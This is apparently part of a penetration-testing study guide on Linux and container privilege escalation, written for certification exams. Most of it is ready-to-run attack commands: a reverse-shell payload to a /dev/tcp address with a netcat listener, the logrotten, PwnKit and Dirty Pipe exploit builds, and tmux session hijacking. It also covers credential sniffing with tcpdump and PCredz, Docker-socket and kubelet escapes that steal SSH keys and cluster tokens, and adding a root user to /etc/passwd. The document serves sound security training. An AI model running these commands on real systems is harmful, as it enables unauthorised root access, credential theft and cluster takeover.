# Prereqs: write access to a rotated log, logrotate running as root, vulnerable version logrotate --version # Pick which mode logrotate uses : options differ per config grep -E 'create|compress' /etc/logrotate.conf /etc/logrotate.d/* | grep -v '^\s*#' # Build the exploit on a kernel-matching host git clone https://github.com/whotwagner/logrotten cd logrotten && gcc logrotten.c -o logrotten # Payload + listener echo 'bash -i >& /dev/tcp/<IP>/9001 0>&1' > /tmp/payload nc -lvnp 9001 # on attacker # Trigger (create mode shown; use -c for compress-mode configs) ./logrotten -p /tmp/payload /tmp/app.log

Modern distros (Ubuntu 22.04+, Debian 12, RHEL 9) ship a patched logrotate (> 3.20.x). This vector is most useful on EOL-but-still-running boxes : exactly the kind of forgotten build server where you find it.

Tmux / Screen Session Hijacking

A privileged user who detached a tmux or screen session with loose socket permissions is a free root shell to anyone in the right group.

# Find running tmux sessions and their sockets ps aux | grep -E 'tmux|screen' | grep -v grep # root 4806 ... tmux -S /shareds new -s debugsess # Check socket permissions ls -la /shareds # srw-rw---- 1 root devs 0 ... /shareds # If your user is in the owning group (here: devs), attach id | grep devs tmux -S /shareds attach # now inside root's tmux session

For screen:

ls -la /var/run/screen/S-* # sockets per user screen -r # list attachable sessions screen -r <PID>.<NAME> # attach if permissions allow
?

Why does this work when the user who created the session was root? Socket permission is set by the -S path and any subsequent chown/chmod. If root (intentionally or not) made the socket group-writable to devs, any devs member can attach to the live root PTY. Nothing enforces privilege drop on attach — tmux assumes any caller who has socket access is authorized.

Passive Traffic Capture

If tcpdump is installed and callable (either unprivileged with cap_net_raw+ep, or via sudo), packet capture can yield credentials in cleartext or hashes for offline cracking.

# Can we capture? getcap /usr/sbin/tcpdump 2>/dev/null sudo -l | grep tcpdump # Broad capture, written to disk sudo tcpdump -i any -w /tmp/cap.pcap -U not port 22 # Targeted: HTTP POST bodies sudo tcpdump -i any -A -s 0 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

Credential extraction

# net-creds git clone https://github.com/DanMcInerney/net-creds sudo python2 net-creds/net-creds.py -p /tmp/cap.pcap # PCredz (credit cards, Net-NTLMv2, Kerberos AS-REQ, cleartext auth) pip3 install Cython; pip3 install pcredz PCredz -f /tmp/cap.pcap

Look for Net-NTLMv2, Kerberos AS-REQ (roastable), SMTP/POP/IMAP credentials, HTTP basic auth, SNMP community strings, and JDBC connection strings.

Restricted Shell Escape

Restricted shells (rbash, rksh, rzsh) limit cd, PATH modification, output redirection, and command invocation. Real-world deployments almost always leave an escape path because the admin allowed one “useful” binary.

Quick escape recipes

# Map your options first compgen -c # all commands the shell knows echo $PATH # 1) If any interpreter/editor is allowed vi :!/bin/bash :set shell=/bin/bash :shell # 2) If find is allowed find / -name nonexistent -exec /bin/bash \; # 3) If awk is allowed awk 'BEGIN{system("/bin/bash")}' # 4) If less/more/man is allowed less /etc/profile # Then: !/bin/bash # 5) Environment variable abuse BASH_CMDS[a]=/bin/sh; a export PATH=$PATH:/bin:/usr/bin # 6) SSH escape (if connecting via SSH) ssh <USER>@<HOST> -t "bash --noprofile --norc" # 7) Command substitution `/bin/bash` $(/bin/bash) # 8) Python/perl/ruby if present python -c 'import os; os.system("/bin/bash")' perl -e 'exec "/bin/bash";'
?

What do you check first when dropped into a restricted shell? compgen -c (list all commands the shell knows about) and echo $PATH. If compgen isn’t blocked, you have a complete map of your escape options immediately. If it is blocked, fall back to ls /usr/bin /bin /usr/local/bin and grep for known escape tools (vi, find, awk, less, python, perl). The fastest break comes from knowing which bash builtins are still enabled and which single-binary escape is available.

Vulnerable Services

you already know this ATP.

Container & Kubernetes Escape

Detect container context

# Am I in a container? cat /proc/1/cgroup ls -la /.dockerenv 2>/dev/null mount | grep -E 'overlay|aufs' cat /proc/self/status | grep CapEff # CapEff: 0000003fffffffff (hex 0x3fffffffff) = all capabilities = --privileged

Docker socket mounted inside container

The fastest container escape: if /var/run/docker.sock is mounted inside the container, you can issue Docker commands to the host daemon:

ls -la /var/run/docker.sock # or /app/docker.sock, varies # Transfer a static docker binary curl -L https://master.dockerproject.com/linux/x86_64/docker -o /tmp/docker chmod +x /tmp/docker # List containers on the host /tmp/docker -H unix:///var/run/docker.sock ps # Launch a privileged container mounting host / /tmp/docker -H unix:///var/run/docker.sock run -v /:/hostsystem --rm -d --privileged <image> sleep 3600 # Exec into it /tmp/docker -H unix:///var/run/docker.sock exec -it <new_container_id> /bin/bash cat /hostsystem/root/.ssh/id_rsa

Shared mount / bind-mount misconfig

# Inside container : look for host paths bound in mount | grep -v 'overlay\|proc\|sysfs\|tmpfs\|devtmpfs' ls /hostsystem /mnt /host 2>/dev/null # If /hostsystem is the host's /, you already have full filesystem access cat /hostsystem/etc/shadow cat /hostsystem/root/.ssh/id_rsa

Privileged container

cat /proc/self/status | grep Cap # CapEff: 0000003fffffffff = privileged (all caps) # Mount the host root mkdir /tmp/host mount /dev/sda1 /tmp/host 2>/dev/null || fdisk -l # pick the right device chroot /tmp/host /bin/bash

Kubernetes : kubelet API abuse

When you land in a K8s environment with anonymous access to the kubelet (10250/tcp), the blast radius is often the whole node or cluster.

# Quick kubelet probe curl -sk https://<NODE_IP>:10250/pods | jq . # anonymous? lists all pods curl -sk https://<NODE_IP>:10250/metrics | head # usually open # Enumerate with kubeletctl kubeletctl -i --server <NODE_IP> pods kubeletctl -i --server <NODE_IP> scan rce # pods where exec is allowed kubeletctl -i --server <NODE_IP> exec 'id' -p <pod> -c <container> # Grab the service account token + CA cert kubeletctl -i --server <NODE_IP> exec 'cat /var/run/secrets/kubernetes.io/serviceaccount/token' -p <pod> -c <container> | tee /tmp/k8.token kubeletctl -i --server <NODE_IP> exec 'cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt' -p <pod> -c <container> | tee /tmp/ca.crt

Then use kubectl against the cluster API (6443/tcp) with that token:

export TOKEN=$(cat /tmp/k8.token) kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \ --server=https://<API_IP>:6443 auth can-i --list # If you can create pods, mount host / into a new pod cat > /tmp/privesc.yaml <<'EOF' apiVersion: v1 kind: Pod metadata: name: privesc namespace: default spec: hostNetwork: true containers: - name: p image: nginx:1.14.2 volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / EOF kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \ --server=https://<API_IP>:6443 apply -f /tmp/privesc.yaml kubectl --token=$TOKEN --certificate-authority=/tmp/ca.crt \ --server=https://<API_IP>:6443 exec -it privesc -- cat /host/root/.ssh/id_rsa

Kubernetes TCP ports worth noting

PortServiceAbuse
2379, 2380etcdRead all cluster secrets if auth is off
6443kube-apiserverFull cluster control with valid token
10250kubeletNode-local pod exec, often anonymous
10255Read-only kubeletPod/resource enumeration, no auth
10251kube-schedulerRarely exposed, metrics
10252kube-controller-managerRarely exposed, metrics

An anonymous curl https://<node>:10250/pods that returns JSON is one of the highest-severity findings in a cluster engagement. Report it immediately and prioritize token/secret enumeration : persistent cluster access (cluster-admin-equivalent via an over-privileged service account token) is usually one or two pods away.

Polkit : PwnKit (CVE-2021-4034)

pkexec is the polkit equivalent of sudo. Memory corruption in pkexec argument handling gives local root on nearly every Linux distro released between 2009 and January 2022. Any unprivileged user with shell access wins.

pkexec --version # < 0.120 = vulnerable on most distros ls -l /usr/bin/pkexec # SUID root binary git clone https://github.com/arthepsy/CVE-2021-4034 cd CVE-2021-4034 && gcc cve-2021-4034-poc.c -o poc ./poc

Dirty Pipe (CVE-2022-0847)

Linux kernel 5.8 to 5.16.10 contains a flaw in the pipe buffer implementation that lets any user overwrite arbitrary files they can read. Read access to /etc/passwd is universal, so this is usually a direct path to root.

uname -r # 5.8 <= kernel <= 5.16.10 git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh ./exploit-1 # Password: piped ./exploit-2 /usr/bin/sudo

Netfilter Kernel Exploits

Recent years have seen a steady stream of nf_tables / netfilter kernel vulnerabilities that yield local root. They are distribution-independent — they target the kernel, not userland.

CVEKernel rangeNotes
CVE-2021-225552.6 – 5.11Heap OOB write in x_tables, very reliable
CVE-2022-10155.12 – 5.17nf_tables stack OOB write
CVE-2022-256365.4 – 5.6.10nf_dup_netdev heap OOB write
CVE-2023-32233≤ 6.3.1nf_tables UAF via anonymous sets
CVE-2024-10865.14 – 6.6nf_tables double-free UAF, very reliable

Writable /etc/passwd and /etc/shadow

Writable /etc/passwd

ls -la /etc/passwd # Generate a hash for the password you want openssl passwd -6 -salt xyz 'Password123!' # $6$xyz$... # Append a root-equivalent user echo 'pwn:$6$xyz$...:0:0:root-equivalent:/root:/bin/bash' >> /etc/passwd su pwn # Password: Password123! -> id: uid=0

Writable /etc/shadow

ls -la /etc/shadow mkpasswd -m sha-512 'Password123!' # $6$... # Replace root's hash field in /etc/shadow, then su root

Kernel Exploits (general)

Kernel exploits sit at the bottom of the priority stack the last resort when every userland vector has been exhausted. They can crash the box, are version-sensitive, and modern SOC tooling flags them loudly. A quick win is to run uname -a, then Google the kernel version, or let linux-exploit-suggester match.

# Version intel uname -a cat /proc/version cat /etc/os-release # Automated matching ./linux-exploit-suggester.sh

Commonly-seen kernel CVEs (post-2020)

CVEKernel / productClass
CVE-2016-5195 (Dirty COW)< 4.8.3Copy-on-write race
CVE-2021-3493Ubuntu OverlayFSUbuntu-specific
CVE-2021-4034 (PwnKit)polkit < 0.120pkexec env handling
CVE-2022-0847 (Dirty Pipe)5.8 – 5.16.10Pipe buffer flag confusion
CVE-2022-2588 (Dirty Cred)variousCredential reuse
CVE-2023-2640 (GameOver(lay))Ubuntu 23.04OverlayFS capability retention
CVE-2023-32233≤ 6.3.1nf_tables UAF
CVE-2024-10865.14 – 6.6nf_tables double-free UAF

When handing in a report, record the PoC’s source URL, commit hash, and the compile command you used. Exam graders (and clients) do not like “I downloaded a thing and it worked” they want reproducibility.

Quiz

You're on an Ubuntu 20.04 host as a low-priv user. sudo -l asks for a password you don't have. getcap comes up empty. No writable cron scripts. No NFS exports. No docker/lxd group. pkexec is /usr/bin/pkexec (SUID, version 0.105). What do you try next?

Quick Reference Questions

Walk through this list every time you’re stuck. Most “unwinnable” boxes collapse on question 3 or 4.

User and permissions

  • What user am I? What UID/GID? What groups? (id)
  • Is my user in docker, lxd, disk, adm, shadow, or a custom admin group?
  • What can I run with sudo -l? Each entry — hit GTFOBins.
  • Is env_keep+=LD_PRELOAD / env_keep+=LD_LIBRARY_PATH set?
  • Does sudo -l allow SETENV: or run a path-relative binary?
  • Can I read another user’s home? SSH keys? history?
  • Can I su to another user with a harvested password?

System and kernel

  • What distro + version? (/etc/os-release)
  • What kernel? Is it in [Dirty Pipe / PwnKit / Netfilter / OverlayFS] range?
  • x86_64 or something exotic (ARM, MIPS)? Affects payload choice.
  • Is SELinux/AppArmor enforcing? (sestatus, aa-status)
  • Are kernel-module loads restricted? (cat /proc/sys/kernel/modules_disabled)

Services and processes

  • What root-owned processes are running? Any custom binaries in /opt?
  • Internal-only services? (ss -tulnp | grep 127.0.0.1) — often weakly auth’d.
  • What cron jobs / systemd timers run? Any writable scripts or wildcards?
  • pspy output — any short-lived root processes I missed?

Files, creds, SUID

  • SUID binaries? Each one — GTFOBins.
  • Capabilities? cap_setuid on an interpreter = instant root.
  • Is any PATH directory writable before /usr/bin?
  • Is /etc/passwd writable? /etc/shadow readable? writable?
  • Any shared-object load path writable? (ldd + readelf -d)
  • Writable Python module in a script’s import path?

Network and pivot

  • Multiple interfaces → different subnets? Pivot candidates.
  • arp -a → other live hosts already reached by this one?
  • NFS exports? no_root_squash anywhere?
  • /etc/resolv.conf and /etc/hosts — AD environment indicators?

Containers

  • Am I in a container? (/.dockerenv, /proc/1/cgroup)
  • Docker socket mounted inside? (/var/run/docker.sock, /app/docker.sock)
  • Privileged? CapEff: 0000003fffffffff
  • Host mounts inside the container? mount | grep -v overlay
  • Kubernetes — kubelet API (:10250) reachable and anonymous?

Automated Tools

ToolURLRunCatches
LinPEAShttps://github.com/peass-ng/PEASS-ng bash linpeas.sh -aBroadest general-purpose check
LinEnumhttps://github.com/rebootuser/LinEnum bash LinEnum.sh -tThorough text output, readable in exam
linux-exploit-suggesterhttps://github.com/mzet-/linux-exploit-suggester bash les.shKernel CVE matching
linux-smart-enumerationhttps://github.com/diego-treitos/linux-smart-enumeration bash lse.sh -l 2Prioritized output by likelihood
pspyhttps://github.com/DominicBreuker/pspy ./pspy64 -pfCron, short-lived root procs, relative-PATH calls
unix-privesc-checkhttps://pentestmonkey.net/tools/audit/unix-privesc-check ./unix-privesc-check standardFile permission audit
GTFOBinshttps://gtfobins.github.io/ (web)Binary-by-binary escape reference
kubeletctlhttps://github.com/cyberark/kubeletctl kubeletctl -i --server <ip>Kubernetes kubelet API abuse
pwncat-cshttps://github.com/calebstewart/pwncat Post-exp frameworkAuto-enum + privesc database
cred-hunthttps://github.com/NeCr00/Credential-Hunting Post-exp frameworkatomated credential hunting
?

Why still do manual enum after LinPEAS? LinPEAS is fast and thorough, but three failure modes are common: it misses custom paths (anything under /opt that is project-specific), its regex patterns can trip on large files and skip content, and operators read it lazily under exam pressure. Manual enum catches what LinPEAS misses, and more importantly, it builds the mental map you need for the chain. A methodology run + LinPEAS takes ~15 minutes and finds things neither tool catches alone.

#Penetration-Testing #Red-Team #Certification #Linux #PrivEsc #SUID #Sudo #Cron #Kernel-Exploit #PostExploitation #LinPEAS #GTFOBins #NFS #Capabilities #HTB

Last updated on